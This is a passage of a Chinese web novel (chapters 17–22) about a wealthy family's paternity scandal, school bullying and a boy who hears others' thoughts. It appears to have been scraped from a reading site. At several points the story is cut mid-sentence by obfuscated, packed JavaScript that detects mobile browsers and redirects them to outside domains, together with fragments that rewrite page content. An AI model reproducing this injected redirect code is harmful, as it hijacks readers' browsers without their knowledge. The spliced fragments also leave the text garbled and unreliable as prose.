“但反正只要是他的儿子不就行了,这样你就可以待在这所宅子里,享受作为聂家少爷的一切。” 见聂夫人还是没有反驳,聂瑛的心更慌了:“你凭什么说我不是你的孩子?” “这么多年下来,你从来就只当我是个空气,除了安排上学这种事情,就连家长会,你们都是让助理来开,从来都不肯多看我一眼。” “你是不是在心里觉得,我就是个不学无术的混混?但你有没有想过,那是因为你从来没有管过我!” “我抽烟,打架,进局子,都是为了能让你多看我一眼!” 他一句话比一句话声嘶力竭,说到后面连眼圈都红了,但聂夫人还是不为所动。 聂瑛直直地望着对方,脸上扯出一个嘲讽又偏激的笑容:“你连自己的孩子都不要啊,这个世界上怎么会有你这样的母亲?” 聂夫人的脸色终于变了,她像是被什么东西刺中一样,苍白地看着自己这个名义的孩子:“你还真是个没良心的。” “明明都已经知道了,就是怕有损你的脸面,居然连自己的亲生母亲都不愿意面对。” “还有我,我扪心自问,那么多年下来,聂兴华那畜生天天不是在泡工作就是在泡女人,我也算是从小没缺着你什么。” “好既然你这么不顾情面,那我也就遂了你的意。”聂夫人像是终于下定了什么决心,她直接把抽屉彻底拉开,里面甩出来一堆同样的文件。 聂夫人把这一大摞全部抱起来,在聂瑛还在愣神的功夫,已经冲到了外面的阳台上,把这些文件全部都往下撒。 “我就再送你一份礼好了。” 18. 第 18 章 余白一脸还不知道发生了什么,一脸懵逼地接住了其中一张,看清上面的内容。 哇哇哇。 这聂夫人是跟顾央共脑了吗? 这也太抓马了,是打算干完这一票就要离婚了吗? 聂兴华不可置信地看着这一幕,因为太过震惊,他甚至没能及时作出反应。 倒是他的小助理,一边大声怒吼所有人都把眼睛闭上不许看,一边挥舞着手往空中跳去试图捞到几片纸。 跑得大汗淋漓后,他拿着从地上捞起来的几份复印件,气喘吁吁地递给老板:“老板,我尽力了,但实在是拦不住啊!” 聂兴华这才回过神来,周围的人都在窃窃私语,这件事显然已经瞒不下去了。 聂夫人已经下了楼走过来,他神色复杂地看向对方,苦笑一声,低声说道。 “如兰,这么多年了,你还是没放下吗?” “但这是阿瑛的生日,就算他不是你生的,但好歹养了那么多年,管你叫了那么多声妈,为什么不能给他留个情面?” 聂夫人看了他一眼后,闭了闭眼深吸口气,然后直接甩了他一巴掌。 她指着身后跟过来跟天塌下来了一样的聂瑛:“你生的好儿子。” “妈……”聂瑛慌乱地叫了她一声,想要挽回场面,“我不是故意要顶撞您的。” 聂夫人的手劲不大,聂兴华脸上的红痕很浅,但他瞬间起了愠色。 “我不是你妈!”聂夫人抬高了声音,“你妈妈是二十年前负责打理这座花园的保姆。” “你想不想知道你妈妈是什么样一个人?” 聂兴华没想到她连这个都要爆出来,沉着脸抓住对方的手腕:“如兰,我们当年都说好了,你别在这里无理取闹。” 聂夫人甩不开他,但仍然要说话。 “挺老实一个人,每天除了干活,话也不说几句,只是可惜了,我那死老公不做人,看到个女的就要试试看他的小东西。”她带着讽意摇摇头,“还真让他试出来了。” “如兰!你在乱讲什么!”聂兴华的表情前所未有地破防,手上的力道大到要捏碎骨头。 “打了一针又一针的保胎针,肚子上都是针眼,我原本以为会是个废的,你命倒是真的大,居然一点先天病都没有,壮得跟头牛一样,还真是个医学奇迹。” “付如兰!” “我就要说!你凭什么不让我说!”聂夫人冷笑着,“聂兴华,你这个混账,二十年前娶我的时候是怎么保证的,你倒好,喝了酒就拿我撒气,还去外面找女人!” “那还不是你……” “我什么我?是你说我就是个生不出蛋的母鸡,一直在贬低我,从来不在自己身上找原因,我答应跟你一起去做试管,结果医生找了半天才终于找出一个有活性的。” “聂兴华,明明就是你弱.精!” 聂兴华脸色勃然大变,他抡起手掌就要打下去,被一旁见势不对的弟弟赶紧拦了下来。 “诶诶,哥,有话好好说,别打人啊。” 他挤在这对夫妻中间,一边要安抚他哥,一边把他们的距离分开。 聂夫人的情绪前所未有的激动,她跟个死人一样隐忍了那么多年,终于在这一刻全部爆发了出来。 她孤零零地站在那里,耳朵像是罩着一层膜,周围的议论声听都听不清。 余白看着这一切,他被迫听了一堆他听不得的东西,又因为是长辈,现在相当尴尬。 顾央从桌上倒了杯水,顺手递了过去。 聂夫人接过水,喝了几口后,手抖得没有那么厉害了,心情也平静了许多。 他们的动作都无比自然,自然地余白反应了好几秒。 结合此情此景,顾央这个动作仿佛是在鼓励聂夫人喝口水后好继续撕。 聂瑛怨毒地看了顾央一眼,与此同时,他的心里涌上了些许不该有的希冀。 他们都去做了试管,那不就是说明,他们是生了孩子的。 顾央说的都是假的,他的妈妈只是跟他开了个很恶劣的玩笑而已。 “那个孩子。”聂夫人的记忆似乎回到了很远之前,声音都柔和了很多,“是我们勉强他来到这个世界上,好几次差点胎停了,那个死男人非要保。” “但是那段时间我一直在做梦。”聂夫人的表情变得很难过,“我梦到我生下了一个不健康的宝宝,就因为我们执意要做,可能回让他平白遭受多少的痛苦,明明都没有问过他的感受。” 这件事对于聂夫人的影响应该非常大,时隔那么多年提起时依然摇摇欲坠:“后来我就悄悄去做了人流,算了吧,还是算了吧。” 被高高轻轻架起,又再次砸了下去,这样的感受聂瑛已经体验过了两回,他如同一脚踩空似的,失声脱口而出:“为什么要打掉他?你有没有想过,那个孩子本来就该是我!” 这句话仿佛是压垮骆驼的最后一根稻草,聂夫人惊悚地看了眼聂瑛,脚步一晃,差点就要栽倒在地上,顾央扶了她一把。 他垂着眼睛,一言未发,心声也格外安静。 看着甚至还有几分乖巧。 余白从以前就发现了这一点。 顾央这人,平等地看不起一切人类,但唯独对于年长的女性,特别是有孩子的,相比之下还挺有耐心的。 让他一度阴搓搓地怀疑,对方的xp是不是人妻。 聂瑛失魂落魄的,他已经彻底乱了方寸,他直直地看着顾央:“满意了吗?” “看我狼狈成这样,你满意了吗?” “你不还是聂家的大少爷?你有什么好狼狈的?” 顾央讲话的时候总有种说不出的劲,带着股若有若无的嘲讽意味。 聂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807872|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑛最看不惯他那样子。 “诶呀,我们的聂大少爷,嫌弃他自己是保姆生的,觉得有损他的高贵身份呢。”叶郴顺嘴就接了上去。 聂瑛现在最听不得的就是保姆两个字,他瞬间当场就被点爆,抡起拳头想要砸上去,就被他的两个堂哥给架住。 看着这和不远处宛若复制粘贴一样的场景,顾央嫌弃地别开了眼:“基因的力量还真是强大。” 这场生日宴注定是搞砸了,他们自然也没能在这里逗留多久。 只不过今天这么精彩的一场戏,肯定马上就会成为他们圈子里的谈资了。 在回去的路上,顾央后知后觉地意识到了一件事。 情节又和小说里写的不一样了。 这里本来是聂夫人在宴会结束后才将鉴定报告给了聂瑛,而无法接受这一切的聂瑛当场撕毁了报告,冲出了家门,也没去学校,自暴自弃消沉了好几天后,直到聂家将他找了回去。 上次在应家的时候也是,刘朝尹被提前揭露了出来。 但这件事情想也想不出眉目,顾央也没纠结,直接抛到了脑后。 就算过程不对,反正最终答案都是对的。 -宋引星做了一个很漫长的梦。 梦里的一切好像和平时没什么两样,他入学了明德高中,每年的奖学金和补贴让他经济上的压力有所减轻。 一次放学回去的途中,他遇到一个穿着校服的高中生,被他们学校的人围住。 他知道为首的那个人,叫聂什么的,是他们学校有名的刺头,很不好惹。 不应该多管闲事的,要冷漠一点,这个道理生活早就教会了他,但他最后还是打了电话报警。 没想到这件事被发现了,他被姓聂的带着跟班过来找事,在一片嬉笑声中,他拿不出钱。只能被迫下跪。 他拼了命打工挣钱想要陪那双鞋,就在他以为这件事到此为止的时候,姓聂的又找上了门。 那张向来张扬的脸上充斥着让人心惊的戾气。 他看到对方居高临下地看着他。 「我听说,你妈妈以前是给别人做保姆的?」 「所以你是保姆生的?」 两个跟班嘲笑他一个保姆的孩子居然还有脸跟他们一起上学。 那张脸上的戾气更重了。 他像发了狂一样去揍说出这话的人,揍得人家都翻了白眼,惊动了副校长出面。 被带走时,他听到那个疯子说了一句。 来日方长。 宋引星拼命让自己从这个噩梦中挣脱了过来。 外面的天蒙蒙亮的,他从床上直起身来,一双眼睛黑沉沉的,许久后才终于回过神来。 这个梦给他的感觉实在是太真实了,甚至于很多细节都能对得上。 但为什么…… 他的梦里没有顾央? 19. 第 19 章 “学长、宋学长!”压低的呼唤声从窗外传过来,宋引星回过神来,看到鬼鬼祟祟猫着腰趴在外面的女生。 高二11班的郑颖,这段时间天天来,宋引星都把对方认眼熟了。 “夏学姐今天不在吗?”郑颖又探出头扫了一圈。 “没在,她请假去拍杂志了。” “这样啊。”郑颖的脸瞬间丧了下来,“那她有说什么时候回来吗?” “她就请了今天一天,而且是在江城本地拍的,明天就会回来吧。” “这样!”原本黯淡的眼睛瞬间亮起,郑颖一下站了起来,“在江城那就好说了!我托我爸爸去问问,能不能探个班。” “多谢宋学长了。”郑颖将手里的两杯咖啡塞给宋引星,“既然学姐不在,剩下这杯你到时候给你同桌呗。” 宋引星看着手里的咖啡,又想到了那天的事情:“下次你要送咖啡的话,买一杯就行,反正我就是走几步的事情,不用特地给我买。” “诶呀没事啦,学长上课辛苦,喝杯咖啡提提神,我买都买了,也不差这么一杯。” 宋引星轻声跟她解释:“我是特招生,还申请了贫困补助,被不知情的人看到喝这么贵的咖啡,会有误会的。” 郑颖没想到这一层,她一拧眉毛,马上就嗅出了不对劲的味道:“有人拿这个为难你?” “没事,已经解决了。”宋引星摇头,但他又想到了昨晚那个梦,心里不由蒙上一层阴霾。 “快上课了,你赶紧回去吧。”宋引星提醒道。 郑颖看了眼手表上的时间,确实该走了,临走之前还留了句如果有困难可以来找她。 回到教室后,离上课还有几分钟,她的朋友见她,笑嘻嘻地打趣:“又去见那个高三的学姐了?” 郑颖也不害羞,大大方方承认,她扫见自己桌上放着杯奶茶,脱口问道:“沈铭君又来了?” “哪有?你这没良心的?”朋友作势要去拍她,“我买的!” “还不是他老缠着我,最近几天还消停了点,刚刚吓我一跳。” 朋友说道:“你没听说吗?沈家最近惹上大麻烦了!他哪还有精力过来泡你,自顾不暇了。” “惹上什么麻烦了?”郑颖问道。 朋友声音放低:“顾家啊,现在网上什么搜不到了,删的干干净净,前几天还挺多人凑热闹的。” “沈家都不知道哪根筋抽了,他们公司的业务就是干舆情公关的,自己屁股都擦不干净还去招惹顾家,也不知道最后会成什么样子。” 坐在后排的顾清许似笑非笑地抬头看了她们一眼。 郑颖用胳膊肘捅了捅朋友,两人都假装无事地回到自己座位上。 手里的电话又被按掉了一次。 想也不用想是谁打来的。 万音app里面可以直接搜索到整个万和系学校企业内的联系人,沈山想见顾俞辉也见不到,所以让他的儿子过来求自己。 明明沈铭君和顾央还在同一个班里,还是直接受害者,反而绕了那么大个圈子打到这里。 虽然实在蠢了点,但也算知道谁才是能主事的人。 电话还是打不通。 而且都没响多少时间,就直接被按掉了,明晃晃地告诉他,不是没听到,而是不想接。 沈铭君脸色铁青地握紧了手机。 全部都完了,事情为什么会闹到这个程度。 他、他原本只是想要恶心一下顾央。 明明他爸爸也干过很多这样的事情,那个人不仅会发一些模棱两可指向不明的通稿,还会拿这种事情作为筹码进行私下的交易。 他能够进入十一班,也都是沈山运作得当。 怎么到他这里…… 都怪那个杀千刀的员工。 给他惹出了那么大的事情,他手机也买了钱也给了,转头那死员工居然拿着他新买的水果机,在公司群里放出了他们之间的聊天记录,还艾特了他说已完成少爷的任务。 他两眼一黑,编好的说辞当场露馅,沈山直接喊人关上了门,抽出高尔夫球杆把他狠狠地打了一顿。 沈山让他处理好这件事情,就算要用跪下来道歉的方法, “你站在教室门口干什么,沈同学?快要上课了。”贺明安拿着个文件袋,从外面走进来时笑眯眯地提醒道。 沈铭君惊醒过来,他看着贺明安,如同看着他的最后一根救命稻草。 “班长。”沈铭君说道,“这几天是发生了一些事情,但你要相信,里面真的是有误会,我想跟顾央解释一下,你能不能……” 贺明安看着他,脸上笑意依旧:“没什么好解释的,阿央又不在意这些。” 沈铭君哽住。 没错,顾央表现地太平常了。 不管是闹上热搜的当天,还是下了热搜后,沈山压着他去顾宅道歉的那次。 为什么什么反应都没有?冷漠地像是这些事是发生在别人身上的一样。 以前也是这样,他的那些针对和嘲讽,顾央都跟感受不到一样,对待他的态度和其他人没什么区别。 这让他甚至不知道该怎么开口。 沈铭君无法理解:“他到底是在想什么,他是不是有病……” 话还没有说完,他被贺明安看他的眼神震慑住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810004|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贺明安笑起来的时候眼睛会微微眯起,但在他冷下脸时,却说不出的唬人。 “他只是什么都不在意而已。”贺明安淡淡地说道,后一句话落轻,“他明明什么都不在意的……” 上课铃声在这时候响了起来。 “你还是别想那么多了,接下来也不是你能操心的事情,好好上课吧。”贺明安脸色恢复如初,他走进教室,把手里的文件夹扔到了讲台桌上,然后坐回了自己的位置上。 “你跟沈铭君在门口聊什么?”坐在后面的顾央依然一副没什么精神的样子, “你居然会关心这个?”贺明安低头看着对方,“就是那天的热搜。” “那个啊。”顾央用手半撑着自己,他嘟囔道,“陈芝麻烂谷子的事情了。” 说完这句话后,他沉默了许久,也不知道在想什么。 “顾央,我有话想跟你说,你能不能给我几分钟时间?”沈铭君又走进来,他硬着头皮跟顾央搭话。 但没想到,顾央既没有嘲讽他也没有无视他,而是缓缓捂住了自己的耳朵。 “别烦我。” 沈铭君已经打好的腹稿胎死肚中:“你……” 见沈铭君还想要纠缠,顾央撕了张纸,从通讯录里翻出名字抄下号码递给沈铭君:“这是顾清许的电话,你去找他,他最喜欢管这种事情。” 沈铭君气得鼻子一歪。 他不就是打不通电话,才被迫要跟顾央低头。 他忍住脾气,低声下气地去顺对方的性子:“这件事我还是得跟你谈,顾央,我们之间可能有点误会。” “是这样的,从今年三月份开始,我陆陆续续有好几次账号异地登录,包括这次也是,莫名其妙就有人拿着我的号去给我公司的员工发消息,你不觉得细思恐极吗……” 班里其他人看似在做自己的事情,但实际上注意力都在沈铭君他们那里,听到这个解释,余白惊讶地看了他一眼。 沈铭君脸不红心不跳的,他觉得自己这个解释很完美,而且顾央看着就还挺好忽悠的。 顾央叹了口气。 【真是奇了怪了。】 顾央的嘴没动,这是心声。 沈铭君顿感不妙,因为这个心声出来的时候,他从来没有好受过。 【沈铭君之前为了上位,偷偷在原配的营养品里加慢性毒药,导致原配患病,加上被他那个小三妈天天气,治疗期间还一直没法稳定心态,导致没几年就去了。】 【这个事情我明明就给所有相关的人全部发了邮件附加证人证据,都是死的吗?怎么没一个行动起来,还让沈铭君在我眼前蹦跶?】 20. 第 20 章 沈铭君母子上位的真相揭露于小说前面的篇幅,发生在高中。 大概就是沈铭君要和宋引星竞争一个什么竞赛名额,光论成绩沈铭君自然不行,他就去威胁宋引星主动放弃。 未果后他又让自家公司的人在网上编黑料造谣引导网暴,用全市第一和贵族学校的噱头吸引流量,说他虚报家境领取补助金,考试时作弊之类的。 马上就有自称是同学的人跳出来证实确实如此,并附上了宋引星喝高价咖啡的图片,还提到那次作弊事件中,宋引星仗着自己成绩好,直接将这口锅扣在旁边的无辜同学身上。 那段时间宋引星被迫承受了很多非议,不明真相的网友冲到官博下面去刷让他退学的评论,老师好几次找他谈话,之前上交的贫困证明资料也需要重新退回去全部重新置办,走在路上还会有人悄悄议论他。 但在机缘巧合之下,宋引星遇到了沈山原配的父母,他们一直对于爱女离世的原因持怀疑态度。 不愿意吃闷亏决定反击的宋引星与他们联手,找到了当年原配身边那个被买通的保姆,对方手里还留有周音音私下购买毒药的证据。 最终他们凭借这份证据,将周音音母子送进了监狱,而纵容这一切发生的沈山也身败名裂。 宋引星成为了最终胜者,拿回了属于他的竞赛名额。 而旁观了这一切的聂瑛对宋引星的态度多了丝除厌恶以外的兴趣,他心想:真是个有趣的男人。 这一部分的内容足足写了五十章。 顾央边看边笑,笑得在床上翻来翻去。 好神经的剧情。 这是什么一个竞赛名额引发的血案。 颇有一种拿着大炮轰了只蚊子的感觉。 笑完以后,他让人按照书里说的去找了那些证据,整理好后打包发给了原配父母。 结果这么多天下来,那边好像并没有闹什么动静。 是因为没有宋引星的加入就不行吗? 原著这部分的剧情就挺儿戏的,他们交了证据上去就出效果了,原配家里条件还行,但却没什么人脉,另一个女儿嫁的也就是普通人家。 这里似乎只能归功于宋引星的主角光环。 宋引星居然还有主角光环这种东西。 顾央被逗笑了。 毕竟这本狗血小说里的主角惨得可以统一所有人的观点。 既然那边行不通的话,他也只能勉为其难自己来了。 顾央的思绪抽离出来,从他的视角看过去,沈铭君脸色惨白一片,那双一向自视甚高的眼睛中此刻充斥着恐惧,直直地看着他,就如同在看着某种能摧毁自己的东西。 “你怎么了?身体不舒服吗?”顾央好奇地问道。 沈铭君后退了一步,声音挤在喉咙里发不出来:“你……” 你为什么会知道这种事情? 明明都是那么早之前的了。 计划成功的第一年,他没有一天能够睡个好觉,一听到电话铃声就要立刻查看是不是来自于警局。 计划成功的第二年,他的心稍稍安定了点,但每次沈山板着脸叫他单独去书房的时候,他满脑子都是这件事情。 第三年,第四年…… 他终于要能够将这件事彻底抛到脑后,睡觉时也不会再梦到那些细节。 已经五年了,那个女人也该投胎转世了,这件事就不能到此为止吗? 沈铭君手足无措地往四周看去,那些望着他的目光,有的鄙夷,有的嘲讽,有的幸灾乐祸。 顾央究竟将那些东西发给谁了? 他强迫自己去思考。 顾央坐在座位上,所以他是以仰视的姿态去看沈铭君。 他的目光细细描绘着对方脸上的神态, 就像是盲人迟钝又缓慢的摩挲。 他已经好久没有正面去感受一个人强烈的感情了。 那份强烈的感情让他恍惚间听到缝隙裂开的声音。 “喻舟。”沈铭君脸色扭曲,喃喃自语。 他想到了,顾央一定把这些证据发给了喻舟。 顾央想看他们狗咬狗,这就是他对自己的报复。 他不能在这里再待下去了。 他必须赶紧回家,绝不能由着那对母子抢占先机。 沈铭君跌跌撞撞地往外面跑去。 “怎么就走了?莫名其妙。”顾央还在往外张望。 这时,站在台上杵了十分钟的授课老师这才状若无事地咳嗽了一下,示意所有人都回到自己自己的位置上。 这些天沈家的事他也没少吃瓜,眼下看到瓜主当面对峙,他一时没忍住,就为老不尊地一起加入了旁观队伍。 只可惜没听到多少东西,中间有一段还跟串通好了一样,集体演起了哑剧。 老师开始讲课,并遗憾地将下课时间调后了十分钟。 下课后,余白屁颠屁颠地就跑了过来想要和顾央套话。 他真的好好奇沈家那出大戏里面的细节,还好奇顾央是怎么知道这么多。 但一时之间也没有合适的方法能够开启这个话题,毕竟在这件事上,他们都瞒着顾央。 “喂,顾央,外面有人找你。”坐在窗边的谢坞喊了一句。 好几个人同时往外抬头看去。 是宋引星。 宋引星来找顾央干什么? 他们对于那天拼拼凑凑出来的,同班同学似乎对于年纪第一怀抱着不太健康的心思这一结论仍然是记忆犹新。 与此同时,贺明安比他们多了个顾央私下还去找过对方的记忆,余白比他们多了个顾央去医院探望对方妈妈的记忆。 顾央走了出去。 “什么事?” 宋引星今天一整天都心不在焉的,就刚刚等的这么一小会功夫,他又出神了。 回神后,宋引星说道:“之前说好的,要还你钱。” “你怎么突然就凑够钱了,”顾央没想到他说的是这件事,上下把宋引星看了遍,还伸手摸了摸对方的两边侧腰。 嗯,腰子好像还在。 不是他想象力太丰富,原著中确实有这么一段情节,宋引星高考落榜后,需要向学校赔付的钱,加上妈妈的病情加重,他一时间走投无路,就有了去卖肾的想法。 最后因为他妈妈自己拔了氧气管寻死,才作罢了。 但古早虐文里面的主角好像多多少少器官都不太完整。 宋引星被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但顾央并没有说出这句话,刷到头以后,他就收起了手机。 钱还是没收。宋引星想提醒他,但又感觉这事提太多了有点墨迹,只能先到这里,告别离开。 “诶呀,他们在外面说什么呢,我怎么什么都听不清。”教室里,余白坐在窗边的空座位上,整张脸都快贴到玻璃上了。 “光天化日之下在那里拉拉扯扯,我就说有猫腻吧,刚刚手都握到一起了。” “现在算是在干什么,讲什么呢能讲怎么久,让我也听听啊……” 他刚要把窗打开听,顾央已经从外面走回来了。 余白状若无事地收回脸,自然问道:“那个姓宋的找你什么事啊?你们站外面说这么久” 顾央随口说道:“关你什么事。” 余白:“……” 顾央有时候真的跟个人机似的,转载来转载去就是这几句话。 另外一边,宋引星在走下楼梯后,顿了几秒钟,终于还是没有忍住,先打开了手机,点进顾央的页面去看他的朋友圈。 21. 内含入v公告 最新的一条动态发布于几天前,宋引星记得这是他被丁子雨找事的那天。 文案是所有事物终究会死去,配图了一张枯掉的花。 下一条是纯文字,时间在一个月以前,这个世界充满了假象。 再下一条又配了图,图片上的主角是一只布偶猫。 顾央应该是在给那只猫过生日,猫咪的头上戴了顶小皇冠,面前摆了个小巧的宠物蛋糕。 配上文案:生日快乐,你能陪我的时间又少了一年。 宋引星:“……” 顾央的朋友圈设置了半年可见,他发文的频率又不高,宋引星很快就翻到了底。 基本上都是差不多的风格,丧能量满满,连给宠物过生日这么温馨的事情都能写出一股悲情的味道。 他们的交际圈没有任何的重叠,但在看到他们确实连一个共友都没有,他都看不到其他人是怎么跟在动态下面和顾央互动时,宋引星还是有种很难言的感觉。 他们之间本来就不应该产生任何联系的,就像两条相交线,过了那个焦点以后就只会越行越远。 是顾央那天发善心搭了他一把手,让他本就所剩无几的自尊心免于进一步的蹂躏。 还完这笔钱以后,他们后续也就没有什么继续见面的理由了。 也许真的是顾央发的东西实在是太丧了,以至于形成了人传人现象,宋引星越想越emo,自闭地把手搭在了墙上。 -走出校门的时候,顾央在路上回了条消息,贺明安不经意地看到他聊天界面上时间相当前面的对话框。 昵称是星,是条还没有接受的转账记录。 贺明安明了:“小宋来找你还上次的钱吗?” 顾央嗯了声。 “他也真是有心了,我前两天才给他批的,他还特地去找财务确认有没有发错,没想到今天就来还钱了,他应该还挺需要钱的。” 顾央对贺明安这段话没什么表示,宋引星还不还钱这件事对他而言都无所谓。 贺明安看他这样子,忍不住笑了一下:“你还真是随心所欲。” 从以前开始就是这样,兴致来的快去的也快,看起来宋引星对他的吸引力并没有那么大。 门外的接送车早早地就在等待。 顾央刚要走过去,车窗却先一步摇下来,坐在里面的顾清许对他微微一笑。 贺明安也看到了:“你要不坐我家的车,我让司机先送你回家。” “没事。”顾央恹恹地说道,“又不是没坐过,就当旁边栓了条狗。” 他打开车门上了车。 顾清许也不知道等了多久,大衣都已经脱掉放在一边。 “怎么来得这么晚?下课时间不是一样的吗?” 顾央整个人靠在车门上,枕着脑袋看向窗外发呆,顾清许的声音在他脑中自动过滤成了狗叫。 “不要误会,我并不是要责怪你的意思。”顾清许施施然地说道,“父亲今天晚上要回来吃饭,他难得回来,我不希望他还得等我们这些做小辈的。” “是,确实不该让老人独守空房。”顾央还在发呆,嘴里已读乱回。 顾清许嘴角一抽,但依然保持着体面的姿态:“本来一直等你等不到,我按理来说先回去也没事,他今天晚上要跟我们宣布一件很重要的事情,你到底也算是我们家的一份子,所以还是在这里一直等你。” “什么大事,他夕阳恋了吗?” “顾央!”顾清许绷不住脸色,忍不住呵斥道,“你这一天天的连点正形都没有,不管怎么说你好歹是顾家的人!你都不会羞愧吗?” 顾央继续挂机中,头都没有回。 顾清许深吸口气,揉了揉眉心。 他跟顾央这种人较什么真。 一天到晚疯言疯语的,反正顾家肯定是不会交到这种人的手里。 回到家时,顾俞辉确实已经在了,他原本坐在沙发上面看报纸,看到顾央他们回来时,脸上露出点笑容,放下了手里的东西。 “回来了?今天上了一天的学也累了吧。” “怎么就穿这么点,昨天不是就跟你讲过要大降温了吗?佣人都怎么回事,也不看仔细点,就让你这么出门了。” 顾央今天就在秋季校服外面套了件风衣,冷空气席卷,气温降得厉害,走在外面都有人在穿薄羽绒了。 “还行吧,也没有很冷,衣服穿厚了会绊着。”他把脱下来的外套递给一旁的佣人,那双手冰得吓人,微微蜷缩的指节都透着薄红。 顾俞辉摸了下他的手,脸上顿时露出不悦的神色,但他当下也没说什么,只是用眼神示意旁边的人把房间里的暖气给打开。 顾清许站在后面,冷眼看着自己的父亲拉着另外一个人嘘寒问暖,全然没注意到有他这个人。 “先吃饭吧。”顾俞辉拉着顾央走到餐桌边,随口又说了句,“清许也赶紧过来。” 顾清许放松下了无意中握紧的手,微笑着走了过去。 桌上就坐着他们三个人,顾央的话本来就不多,吃起饭来以后就更加懒得开口。 顾清许倒是玲珑,他讲些在学校里面发生的事情,然后在不经意的地方微微停顿,让顾俞辉方便接上去询问。 气氛倒也算得上和谐。 吃饭吃到中半段时,顾俞辉提起了那件大事,集团最近有个主要的项目,他的意思是想拿这个给他们练练手,两个人都出一份企划书来竞标,到时候谁的好就让谁来。 顾清许眼神闪烁,他隐晦看了眼没什么反应的顾央,然后微笑着表示自己一定会努力。 “还有阿央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14819539|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们兄弟两个都好好干,不许搞什么滑头,要公平竞争。” 这句话让顾清许内心微妙。 他一直觉得,自己的父亲是没有将顾央作为继承人考虑的,毕竟以前被要求跟去集团学习接触事务的人一直都只有他一个人。 然而到了这么要紧的事情上时,不知道为什么反而还给了顾央一个竞争的机会。 这顿饭后半场氛围依旧,顾清许的心情似乎完全没被刚刚宣布的事情干扰,他的情绪依旧,聊着些闲碎琐事,顾俞辉看在眼里。 饭后,他单独让顾央去趟他的房间。 顾清许饱含深意地看了眼顾央,他注视着的目光一直追随着对方的背影,看着漆黑的影子一点点拉长,最终在二楼阶梯拐角的地方彻底消失时,仍然吝于收回。 也不知道在思考着些什么。 书房里,顾俞辉坐在扶倚上,面前是凌乱摊着的各类文件。 虽然已经年近五十,但因为保养得当,顾俞辉身材不显臃肿,脸上并没有多少皱纹,偶尔冒出来的银丝也被他及时遏制住。 毕竟他代表着顾氏对外的形象,而一个已见颓势的领头人显然是不行的。 顾央面无表情,视线的落脚点在那副架在顾俞辉脸上让他的气质更显深沉的银丝眼镜。 他上次试戴了一下,发现那一副老花镜。 顾俞辉挺满意,因为今天顾央难得没有神游,而是老老实实地看着他。 “不用紧张,今天叫你过来,没什么别的事情。”顾俞辉说道,“之前沈家那件事情,闹出了很大的篓子,这事也牵扯到了你,还是你同班同学干的,我想问问你的想法。” 顾央看着顾俞辉的表情,试图解读他的意思,但解读失败。 于是他幽幽地说道:“天凉了,该让沈家破产了。” 顾俞辉笑了下,对顾央这个提示没说好,也没说不好:“那你打算怎么做?” 顾央看着他,直白戳破了他耍心眼的做法:“我要怎么做你不是都知道吗?” 他去找证据的时候叫的还是顾家的人,顾俞辉不可能不知道。 顾俞辉又笑了下:“知道,但貌似成效不太好。” “那就麻烦你接上去帮我干吧。” 顾央懒散地打了个哈欠,他睡眠质量不好,每次到了这个点就困,但困了还是睡不好。 “才多大点困难?这种事不该是自己亲自来吗?”顾俞辉故意问道。 他懒得跟顾俞辉继续掰扯,就随口丢下一句就离去了:“才不要,反正你会干得比我好,好好加油吧。” 顾俞辉微微一笑,似乎对这句话非常受用。 在顾央离开后,顾俞辉在空无一人的房间里,自言自语地叹息了句。 “长得还真是和她越来越像了。” 22. 第 22 章 合上门出来时,顾央迎面碰上不知道在外面站了多久的顾清许。 “你们在里面讲什么,这么快就出来了?” 顾清许的脸色有些古怪,他拦着不让人离开。 “想知道?你要不自己去问问呢?”顾央说道,“需要我帮你敲门吗?” 见状顾清许连忙抓住那只要去敲门的手。 “你又不是不知道……”顾清许咬牙,从喉咙里不甘心地挤出话来,“就这么想看我的笑话吗?” 顾俞辉是个私人领地意识很重的人,不喜欢让他进自己的书房。 明明他都已经来这里这么多年了。 意识到自己的失态后,顾清许敛下神色,缓缓松开了顾央的手。 “这次的项目竞争,我会好好准备的,你也别做得太丢人现眼了。” 近乎半个头的身高差距让他得以居高临下地看着顾央。 顾央没说话,走廊上昏黄的灯光映着他的侧颜,勾勒出一副由暧昧的线条描绘出的面庞,沉郁而端庄。 顾清许脸上又一次闪过古怪的情绪,其实以前有段时间,他是被允许进入这个书房。 